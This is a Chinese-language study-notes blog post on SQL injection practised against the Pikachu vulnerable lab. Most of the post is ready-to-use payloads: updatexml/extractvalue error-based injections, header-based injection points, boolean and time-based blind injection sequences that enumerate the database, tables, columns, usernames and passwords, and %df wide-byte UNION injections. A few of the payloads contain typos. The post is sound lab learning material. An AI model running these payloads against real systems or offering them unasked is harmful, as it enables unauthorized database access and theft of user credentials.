基础sql注入(其中一部分)
"insert/update"进行报错注入 (以下注入语句在pikachu中使用) https://wileysec.com/archives/4/#menu_index_25
updatexml进行报错注入
使用updatexml(目标xml文档(XML_document),xml路径(XPath_string),更新内容(new_value))
admin1' or updatexml(1,concat(0x7e,(database())),1) or'#
admin1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1) or'#
admin1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or'#
extractvalue报错注入
extractvalue(目标xml文档(XML_document),xml路径(XPath_string))
admin1' or extractvalue(1,concat(0x7e,(select database()))) or '--+
admin1' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
admin1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) or '--+
admin1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) and '1'='1
admin1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) or '--+
admin1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables wehre table_schema='users'))) and '1'='1
admin1' or extractvalue(1,concat(0x7e,(select group_concat(username) from users))) or '--+
admin1' and extractvalue(1,concat(0x7e,(select group_concat(username) from users))) and '1'='1
delete注入或留言板注入(类似于字符型报错注入)
58 or extractvalue(1,concat(0x7e,(select database())))--+
58 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1)
58 or extractvalue(1,concat(0x7e,(select group_concat(tavle_name) from information_schema.tables where table_schema='pikachu')))--+
58 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)
58 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+
58 or updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from users)),1)
58 or extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from users)))--+
HTTP头部详解
User-Agent:使得服务器能够识别客户端的操作系统,游览版本等。(很多数据大量的网站中会记录客户端的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份,进行session跟踪而存储在用户本地终端上的数据(通常经过加密)
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
Clien-IP:同上,不做过多介绍
Rerferer:浏览器向WEB服务器表明自己是从哪个页面链接过来的。
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
基于bool的盲注
count() 返回指定列的值的数目
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
vince' and length(database())=4# 推断当前连接数据库的字符串数目
vince' and ascii(substr(database(),1,1))=119# 推断当前数据库的字符串的第一个字符的ascii码(更改1,1即可)
vince' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 判断当前数据库中表的个数
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4# 判断第一个表名的字符长度(括号中的0,1代表第一个表,1,1代表第二个表以此类推)
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=4#判断第一个表名的字符的ascii(limit 0,1代表第一个表,1,1代表表的第一个字符,然后以此类推)
vince' and length(database())=7# 推断当前数据库的字符串数目
vince' and ascii(substr(database(),1,1))=112# 数据库第一个字符的ascii为112
vince' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 判断数据库中有几个表
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 # 判断第一表有多少个字符串
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120# 判断第一个表的第一个字符的ascii码
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=7 # 判断第二表有多少个字符串
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=109# 判断第二个表的第一个字符的ascii码
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6 # 判断第三个表有多少个字符串
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=109# 判断第三个表的地一个字符的ascii码
vince' and length((select table_name from information_schema.tables where table_Schema=database() limit 3,1))=8 # 判断地四个表有多少个字符串
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=104# 判断第四个表的第一个字符的ascii
vince' and length((select table_name from information_schema.tables where table_schema=database() limit 4,1))=5# 判断第五个表有多少个字符串
vince' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),1,1))=117# 判断第五个表的第一个字符的ascii
vince' and (select count(column_name) from information_schema.columns where table_name='users')=11# 判断users表有多少个表列名
vince' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1# 判断第一个表列名有多少个字符串
vince' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105# 判断第一个表列名第一个字符的ascii
vince' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=8# 判断第二个表列名有多少个字符串
vince' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>107# 判断第二个表列名第一个字符的ascii
vince' and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8# 判断第三个表列名有多少个字符串
vince' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1))>112# 判断第三个表列名第一个字符的ascii
vince' and (select count(username) from users)=3# 判断username中有几条数据
vince' and length((select username from users limit 0,1))=5# 判断username中的第一条数据的字符串有多少个
vince' and ascii(substr((select username from users limit 0,1),1,1))>97 判断username中的第一条数据的第一个字符的ascii
vince' and (select count(password) from users)>1 判断password中有几条数据
vince' and length((select username from users limit 0,1))>1# 判断password中的第一条数据的字符串有多少个
vince' and ascii(substr((select username from users limit 0,1),1,1)>1 判断password中的第一条数据的第一个字符的ascii
时间盲注
函数介绍
1. sleep(5):暂停5秒
2.if(条件,表达式1,表达式2):如果条件为真,返回表达式1,否则返回表达式2
3.substr('admin',2,3):从第二个位置卡是截取长度为3的字符串
4.substring('admin',2,3):效果如上
5.substring('admin', from 2 for 1):截取一个字母,省略了逗号
6.substring('admin', from 2):从第二个字母开始截取
7.substring_index('1223334444','4',3):截取到4出现的第三次,即12233344
8.rlike '^12'或者regext '^12':从正则判断是不是从12开头的字符串 例子:select × from user where pass regexp '^12';
9.ascii:获取字母的ascii码
10.benckmark():重复执行,例子:benchmark(10000000,sha(1))
11.select count(*) from user a,uer b; select count(*) from user 得到结果再乘以结果
12.mid():截取函数,mid("aiyoubbucuo",1,1)mid("aiyoubucuo" from 1 for 1);结果都为1
13.ord():ord("abc"),返回结果为首字母的ascii码,a
14.asc/desc: 升序/降序排列 order by id asc;
vince' and 1=sleep(5) 如果有延迟则代表有注入点
vince' and if(length(database())=7,sleep(3),1)--+ 判断数据库有几个字符串,如果达到判断数即延迟三秒
vince' and if(ascii(substr(database(),1,1))=112,sleep(3),1)--+ 判断数据库的字符的第一个字符ascii,如果达到判断数即延迟三秒
vince' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(3),1)--+ 判断数据库中表的个数为多少,如果达到判断数延迟三秒
vince' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(3),1)--+ 判断数据库表中第一个表的字符串个数,如果达到判断数即延迟三秒
vince' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(3),1)--+ 判断数据库表中第一个表的字符串的第一个字符的ascii,如果等于判断数即延迟三秒
vince' and if((select count(column_name) from information_schema.columns where table_name='users')=11,sleep(5),1)--+ 判断users表中有多少个表列名,如果达到判断数即延迟三秒
vince' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2,sleep(3),1)--+判断users表中第一个表列名的字符串有多少个,如果达到判断数即延迟三秒
vince' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(3),1)--+ 判断users表中第一个表列名的第一个字符串的ascii,如果达到判断数即延迟三秒
vince' and if((select count(username) from users)=3,sleep(3),1)--+ 判断username中有几条数据
vince' and if(length((select username from users limit 0,1))=5,sleep(3),1)--+ 判断username中的第一条数据的字符串有多少个,如果达到判断数即延迟三秒
vince' and if(ascii(substr((select username from users limit 0,1),1,1))=97,sleep(3),1)--+ 判断usersname第一条数据的字符串的第一个字符的ascii,如果达到判断数即2延迟三秒
vince' and if((select count(password) from users)>1,sleep(3),1)--+ 判断password中有几条数据
vince' and if(length((select password from users limit 0,1))>1,sleep(3),1)--+ 判断password中的第一条数据字符串有多少个,如果达到判断数即延迟三秒
vince' and if(ascii(substr((select password from users limit 0,1),1,1))>1,sleep(3),1)--+ 判断password第一条数据的字符串的第一个字符的ascii,如果达到判断数即延迟三秒
宽字节注入
什么是宽字节注入?
mysql是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤'"null等这些敏感字符,将它们转义成'"\null;然后宽字节字符集比入GBK它会自动把两个字节的字符识别为一个汉字,所以在单引号前面加一个%df,从而使单引号逃逸。
什么情况下存在宽字节注入?
宽字节注入条件有两个:
1.数据库编码设置成GB系列
-这里说的GB系列编码,不是指PHP页面的编码,而是连接数据库使用的编码。
2.使用了转义函数,将GET,POST,cookie传递的参数进行过滤,将单引号,双引号,null等敏感字符用转义符\进行转义。
-常见的包括addslashes(),mysql_real_escape_string()函数。
-转义函数的转义作用,就是我们常说的“过滤机制”。
当两个条件都满足时,才会在宽字节注入。
payload是%df',其原理是当mysql在使用gbk编码的时候,会认为连个字符是一个繁体汉字,然后让我们的单引号%27逃逸
gkb编码,中文两个字符,英文三个字符,使用%df,对'进行逃逸,及注入方法为
1%df' union select 1,2# (order by 1,2 不能用,好像是将这几个命令禁止了)
1%df' union select user(),database()#
1%df' union select (select table_name from information_schema.tables where table_schema=database()),2#
1%df' union select (select column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 4,1),2#
1%df' union select (select group_concat(username,-,password) from users),2#

浙公网安备 33010602011771号